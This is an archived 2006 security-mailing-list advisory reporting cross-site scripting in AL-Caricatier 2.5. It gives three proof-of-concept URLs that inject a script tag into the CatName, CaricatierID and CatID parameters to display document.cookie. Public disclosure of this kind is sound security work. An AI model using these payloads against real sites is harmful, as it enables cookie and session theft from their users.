Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[eVuln] Skull-Splitter's PHP Downloadcounter for Wallpapers SQL Injection

[eVuln] Skull-Splitter's PHP Guestbook XSS Vulnerability

XSS in PHPKIT Version 1.6.03

[SA19443] PHP Script Index "search" Cross-Site Scripting Vulnerability

From:	xx_hack_xx_2004_(at)_hotmail.com <xx_hack_xx_2004_(at)_hotmail.com>
Date:	29.03.2006
Subject:	XSS in AL-Caricatier

Hello
Vulnerable: AL-Caricatier,V.2.5
http://www.php-ar.com

Exploit :
http://example.com/AL-Caricatier/view_caricatier.php?CatName='><script>
alert(document.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CaricatierID='><sc
ript>alert(document.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CatID='><script>
alert(document.cookie);</script>

Discovery by Linux_Drox

http://LeZr.Com

Best Regards ,,